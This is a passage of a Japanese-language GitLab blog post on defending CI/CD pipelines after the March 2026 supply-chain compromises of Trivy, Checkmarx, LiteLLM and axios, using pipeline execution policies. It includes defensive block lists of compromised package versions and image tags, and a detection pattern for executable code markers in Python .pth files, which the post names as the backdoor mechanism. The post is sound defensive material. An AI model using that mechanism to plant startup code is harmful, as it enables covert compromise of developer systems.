Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads)。\n\nこのポリシーは、公開ステップが実行される前に、アーティファクトタイプ（npmパッケージ、Dockerイメージ、またはHelmチャート）を自動検出してその内容を検査する`.pipeline-policy-pre`ジョブを注入します。npmパッケージに対しては、3つのチェックを実行します。\n\n1. **ファイルパターンのブロックリスト。** npm packの出力をスキャンし、ソースマップ（.map）、テストディレクトリ、ビルド設定、IDE設定、src/ディレクトリを検出します。\n2. **パッケージサイズゲート。** AIツールを流出させた59.8 MBパッケージのように、50 MBを超えるパッケージをブロックします。\n3. **sourceMappingURLスキャン。** 外部URL（大手AI企業のソースコードを露出させたR2バケットのパターン）、インラインのdata: URI、JavaScriptバンドルに埋め込まれたローカルファイル参照を検出します。\n\n違反が検出されると、パイプラインは失敗したCIジョブのログに明確なレポートを出力して終了します。\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nこのポリシーには、ユーザーが設定できるCI変数はありません。開発者が無効化したり回避したりすることはできません。例外はポリシーレベルでセキュリティチームが管理するため、意図的なプロセスと明確な監査証跡が確保されます。\n\nリポジトリには意図的な違反を含むテストプロジェクト（examples/leaky-npm-package/）が含まれており、組織にデプロイする前にポリシーの動作を確認できます。[README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md)には、セットアップとデプロイの完全なクイックスタートガイドが含まれています。\n\n**検出できる問題：** これらのコントロールのどれか1つでもあれば、AI企業のソースコード流出は防げていた可能性があります。\n\n* ソースマップファイルはファイルパターンのブロックリストに引っかかります。\n* 59.8 MBというサイズはサイズゲートに引っかかります。\n* 外部R2バケットを指すsourceMappingURLはURLスキャンに引っかかります。\n\n### ユースケース2：依存関係の改ざんとロックファイル操作を検出する\n\n**問題：** axiosへの攻撃では、インストール時にRATを実行する悪意のある推移的依存関係（`plain-crypto-js`）が導入されました。侵害が行われた期間中にnpm installを実行したすべての人がトロイの木馬を取り込んでしまいました。\n\n**PEPによるアプローチ：** [Dependency Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml)は、パッケージエコシステム（npmまたはPython）を自動検出し、3つのチェックを実行する.pipeline-policy-preジョブを注入します。\n\n**npmプロジェクトの場合**（`package-lock.json`、`yarn.lock`、または`pnpm-lock.yaml`によってトリガー）：\n\n1. **ロックファイルの整合性。** `npm ci --ignore-scripts`を実行します。`node_modules`の内容がロックファイルの指定と異なる場合、失敗します。これにより、package.jsonは更新されたがロックファイルが再生成されていないケースを検出し、SRIインテグリティハッシュも検証します。\n2. **ブロックパッケージスキャン。** ロックファイルの完全な依存関係ツリーを、侵害が確認済みのパッケージバージョンのGitLab管理リストである`blocked-packages.yml`と照合します。同梱のブロックリストには`axios@1.14.1`、`axios@0.30.4`、`plain-crypto-js@4.2.1`が含まれています。\n3. **未宣言の依存関係の検出。** インストール後、node_modulesの内容をロックファイルと比較します。ディスク上に存在するがロックファイルに存在しないパッケージは改ざんの証拠です（例：追加パッケージを取得する侵害されたpostinstallスクリプト）。\n\n**Pythonプロジェクトの場合**（`requirements.txt`、`Pipfile.lock`、`poetry.lock`、または`uv.lock`によってトリガー）：\n\n1. **ロックファイルの整合性。** 分離された仮想環境にインストールし、ロックファイルからのインストールが成功することを確認します。\n2. **ブロックパッケージスキャン。** 同じブロックリストのアプローチです。同梱リストには`litellm==1.82.7`および`litellm==1.82.8`が含まれています。\n3. **.pthファイルの検出。** site-packagesの`.pth`ファイルをスキャンし、実行可能なコードパターン（`import os`、`exec(`、`eval(`、`__import__`、`subprocess`、`socket`）を検出します。これはLiteLLMバックドアが使用したまさにその仕組みです。\n\n違反が検出されると：\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nこのポリシーは*ストリクトモード*で動作します。コミット済みのロックファイルに存在しない依存関係は、パイプラインをブロックします。開発者が依存関係を追加する必要がある場合は、更新されたロックファイルをコミットします。ポリシーはインストールされたバージョンがコミットされたバージョンと一致することを確認します。コミットされていないものが現れた場合（例：侵害されたアップストリームパッケージ経由で注入された推移的依存関係）、パイプラインはブロックされます。\n\n**検出できる問題：** `plain-crypto-js`という新規かつ未確認の依存関係の導入は、未宣言の依存関係チェックによってフラグが立てられます。`axios@1.14.1`バージョンはブロックパッケージスキャンによって検出されます。LiteLLMの`.pth`ファイルは`.pth`検出チェックによって検出されます。各攻撃に対して、少なくとも1つ、多くの場合は2つの独立した検出シグナルがあります。\n\n### ユースケース3：侵害されたツールを実行前に検出・ブロックする\n\n**問題：** TeamPCPは、信頼できるTrivyとCheckmarxのGitHubアクションタグを悪意のあるバージョンに置き換えました。これらのタグを参照するパイプラインはすべて、認証情報を窃取するマルウェアを実行してしまいました。\n\n**PEPによるアプローチ：** [Tool Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml)は、GitLab CI Lint API（またはフォールバックとして`.gitlab-ci.yml`を評価する仕組み）にクエリを発行し、コンテナイメージの参照を抽出して、セキュリティチームが管理する承認済みイメージ許可リストと照合する`.pipeline-policy-pre`ジョブを注入します。\n\n許可リスト（`approved-images.yml`）は、イメージごとに3つの制御をサポートしています。\n\n**承認済みリポジトリ：** リスト上のリポジトリからのイメージのみが許可されます。未知のリポジトリはパイプラインをブロックします。\n\n**許可されているタグ：** 承認済みリポジトリ内でも、特定のタグのみが許可されます。これにより、未テストバージョンへの移行を防ぎます。\n\n**ブロックされているタグ：** リポジトリが承認済みであっても、既知の侵害バージョンを明示的にブロックできます。同梱の許可リストは、TeamPCPがトロイの木馬化した正確なバージョンである`aquasec/trivy:0.69.4`から`0.69.6`をブロックします。\n\n違反が検出されると、他のジョブが実行される前にパイプラインが失敗します。\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n許可リストは、ポリシープロジェクトに対するMRを通じて管理されます。新しい承認済みイメージを追加するには、セキュリティチームがMRを開きます。新たな侵害への対応には、ブロックするタグを追加するだけです。コードの変更は不要で、YAMLだけで管理できます。\n\n**検出できる問題：** 未承認のタグを持つイメージが検出されると、ポリシーはイメージのリポジトリ名とタグを許可リストと照合します。一致しない場合、スキャナーが実行される前にパイプラインをブロックし、認証情報の外部送信を防ぎます。\n\n*注：上記のサンプルを拡張することで、PEPをタグではなくダイジェストへのピン留めを強制するために使用できます。これはforce pushに対して耐性があります。このサンプルは、より基本的なタグベースの適用パターンを示しています。*\n\n## PEPを超えて：GitLabのサプライチェーン防御\n\nパイプライン実行ポリシーは適用のレイヤーですが、サプライチェーン保護において多層防御（defense-in-depth）戦略の一部として機能するときに最大の効果を発揮します。GitLabは、サプライチェーン保護においてPEPを補完するいくつかの機能を提供しています。\n\n### シークレット検出\n\n[GitLabのシークレット検出](https://docs.gitlab.com/ja-jp/user/application_security/secret_detection/)は、認証情報がそもそもリポジトリに入り込むことを防ぎ、侵害されたパイプラインツールが収集できる情報を大幅に削減します。2026年3月の攻撃の文脈では：\n\n* リポジトリに保存された認証情報は、攻撃者にとって発見しやすく、ローテーションも遅くなります。Trivyのインシデントでは、ローテーションプロセス自体も悪用されました。Aqua Securityのローテーションはアトミックではなく、攻撃者は古いトークンが完全に失効する前に新たに発行されたトークンを取得しました。GitLabのシークレット検出には、漏洩したGitLabトークンの自動失効機能と、サードパーティプロバイダーへの認証情報失効通知を行うパートナーAPIが含まれており、侵害発生時の対応を迅速化します。\n* シークレット検出と適切なシークレット管理（短命トークン、Vault基盤の認証情報、パイプラインシークレットへの最小限の露出）を組み合わせることで、信頼済みツールが悪意を持つ動作をした場合でも、攻撃者がアクセスできる範囲を制限します。\n\n### ソフトウェアコンポジション解析（SCA）による依存関係スキャン\n\nGitLabの[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/)は、ロックファイルとマニフェストを解析することで、プロジェクトの依存関係における既知の脆弱性を特定します。2026年3月の攻撃の文脈では：\n\n* LiteLLMについては、侵害されたバージョン（1.82.7、1.82.8）がGitLabのアドバイザリデータベースで追跡されており、影響を受けるPythonプロジェクトに自動的にフラグを立てます。\n* axiosについては、依存関係スキャンが組織内のすべてのプロジェクトで侵害されたバージョン（1.14.1、0.30.4）を特定し、セキュリティチームに影響範囲の評価と認証情報ローテーションの優先順位付けのための一元的なビューを提供します。\n* 同様に、TeamPCPのCanisterWorm伝播によって侵害されたすべてのnpmパッケージも、使用されている場合はフラグが立てられます。\n\n[GitLabコンテナスキャン](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)は、デプロイメントで使用される脆弱なコンテナイメージを検出します。Trivyの侵害については、コンテナスキャンがコンテナレジストリまたはデプロイメントマニフェストに現れたトロイの木馬化されたTrivyのDockerイメージ（0.69.4〜0.69.6）にフラグを立てます。\n\n### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、依存関係のロックファイルやCI/CD設定への変更がマージされる前にセキュリティチームの承認を必須とすることができます。これにより、サプライチェーン攻撃が一般的に導入する種類の変更に対して、人間によるチェックポイントが確保されます。\n\n### 近日公開予定：依存関係ファイアウォール、アーティファクトレジストリ、SLSAレベル3の認証と検証\n\n今後予定されているGitLabのサプライチェーンセキュリティ機能は、レジストリとパイプラインという2つの重要なコントロールポイントにおけるポリシー適用を強化します。依存関係ファイアウォールとアーティファクトレジストリは非準拠のパッケージをブロックし、SLSAレベル3の認証によってアーティファクトが承認されたパイプラインで生成され、改ざんされていないという暗号学的な証明が提供されます。これらを組み合わせることで、セキュリティチームはソフトウェアサプライチェーンへの入出力を検証可能な形で管理できるようになります。\n\n## あなたの組織にとっての意味\n\nAI支援型の脅威が高まる中、CI/CDパイプラインへの攻撃はますます一般的になっています。TeamPCPのキャンペーンは、1つの侵害された認証情報が信頼済みツールのエコシステム全体にどう波及するかを示しています。\n\n影響を受けたコンポーネントを使用していた場合は、すべてのパイプラインシークレットが露出したという前提で行動してください。直ちにローテーションし、永続的なバックドアがないかシステムを監査してください。いずれの場合も、認証情報を定期的にローテーションし、短命トークンを使用することで、将来の侵害のブラスト半径を制限できます。\n\n推奨事項をまとめます：\n\n1. **可能な限り、依存関係をチェックサムにピン留めしてください。** TeamPCPが悪用した可変バージョンタグは、セキュリティ境界ではありません。すべての[CI/CDコンポーネント](https://docs.gitlab.com/ja-jp/ci/components/#manage-dependencies)、アクション、コンテナイメージにはSHAピン留め参照を使用してください。\n2. **実行前の整合性チェックを実行してください。** パイプライン実行ポリシーを使用して、パイプラインジョブが実行される*前*にツールと依存関係の整合性を確認してください。これが`.pipeline-policy-pre`ステージです。\n3. **公開するものを監査してください。** すべてのパッケージ公開ステップには、アーティファクトの内容を自動検証する処理を含めてください。ソースマップ、環境ファイル、内部設定はビルド環境から外部に出すべきではありません。[Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、npm、Docker、Helmアーティファクトのすぐにデプロイできる出発点を提供しています。\n4. **依存関係のドリフトを検出してください。** すべてのパイプライン実行において、依存関係の解決結果をコミット済みロックファイルと比較してください。予期しない新しい依存関係を監視します。\n5. **ポリシー管理を集中化してください。** セキュリティチェックを含めることを開発者の記憶に頼らないでください。開発者が削除やスキップをできないポリシーを通じて、グループまたはインスタンスレベルで適用してください。\n6. **セキュリティツール自体が標的になると想定してください。** 脆弱性スキャナー、静的アプリケーションセキュリティテスト（SAST）ツール、AIゲートウェイは侵害される可能性があります。各ツールの権限は最低限必要なものに限定し、その他へのアクセスが不可能であることを確認してください。\n\n## GitLabでパイプラインを保護する\n\n2週間にわたり、攻撃者はソフトウェア開発エコシステムで最も広く採用されているツールの一部を使用している組織の本番パイプラインを侵害しました。\n\n教訓は明確です。ビルドパイプラインには、ネットワークやクラウドインフラに適用するのと同じレベルの集中管理されたポリシー駆動の保護が必要です。\n\nGitLabパイプライン実行ポリシーは、その適用レイヤーを提供します。個々のプロジェクト設定に関わらず、すべてのプロジェクトのすべてのパイプラインでセキュリティチェックが実行されることを保証します。依存関係スキャン、シークレット検出、マージリクエスト承認ポリシーと組み合わせることで、2026年3月に見られたクラスの攻撃をブロック、検出、封じ込めることができます。\n\n[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、大手AI企業の流出事故の背後にある種類のエラーを正確に検出する、動作するパイプライン実行ポリシーを提供しています。npmパッケージ、Dockerイメージ、Helmチャートに対応しています。クローンして、グループにデプロイし、今後のサプライチェーン攻撃に備えてすべてのパイプラインを準備してください。\n\n集中管理されたパイプラインポリシーを始めるには、[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/devsecops/)にサインアップしてください。\n\n*このブログ記事には、1933年証券法第27A条（改正済み）および1934年証券取引法第21E条の意味における「将来の見通しに関する記述」が含まれています。これらの記述に反映された予想は合理的であると信じておりますが、実際の結果や成果を大幅に異なるものにする可能性のある既知および未知のリスク、不確実性、前提条件、その他の要素の影響を受けることがあります。これらのリスクおよびその他の要素に関するさらなる情報は、SECへの提出書類の「リスク要因」という見出しの下に記載されています。法律で要求される場合を除き、このブログ投稿の日付以降にこれらの記述を更新または修正する義務を負いません。*",[730],"Grant Hickman","2026-04-10","2026-04-07","3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ",[24,735,736,737],"product","tutorial","features","2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。",{"featured":34,"template":16,"slug":740},"pipeline-security-lessons-from-march-supply-chain-incidents",{"promotions":742},[743,757,768,779],{"id":744,"categories":745,"header":747,"text":748,"button":749,"image":754},"ai-modernization",[746],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":750,"config":751},"Get your AI maturity score",{"href":752,"dataGaName":753,"dataGaLocation":247},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":755},{"src":756},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":758,"categories":759,"header":760,"text":748,"button":761,"image":765},"devops-modernization",[735,569],"Are you just managing tools or shipping innovation?",{"text":762,"config":763},"Get your DevOps maturity score",{"href":764,"dataGaName":753,"dataGaLocation":247},"/assessments/devops-modernization-assessment/",{"config":766},{"src":767},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":769,"categories":770,"header":771,"text":748,"button":772,"image":776},"security-modernization",[24],"Are you trading speed for security?",{"text":773,"config":774},"Get your security maturity score",{"href":775,"dataGaName":753,"dataGaLocation":247},"/assessments/security-modernization-assessment/",{"config":777},{"src":778},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":780,"paths":781,"header":784,"text":785,"button":786,"image":791},"github-azure-migration",[782,783],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":787,"config":788},"See how GitLab compares to GitHub",{"href":789,"dataGaName":790,"dataGaLocation":247},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":792},{"src":767},{"header":794,"blurb":795,"button":796,"secondaryButton":800},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":49,"config":797},{"href":798,"dataGaName":52,"dataGaLocation":799},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/ja-jp/","feature",{"text":54,"config":801},{"href":56,"dataGaName":57,"dataGaLocation":799},1777493609649]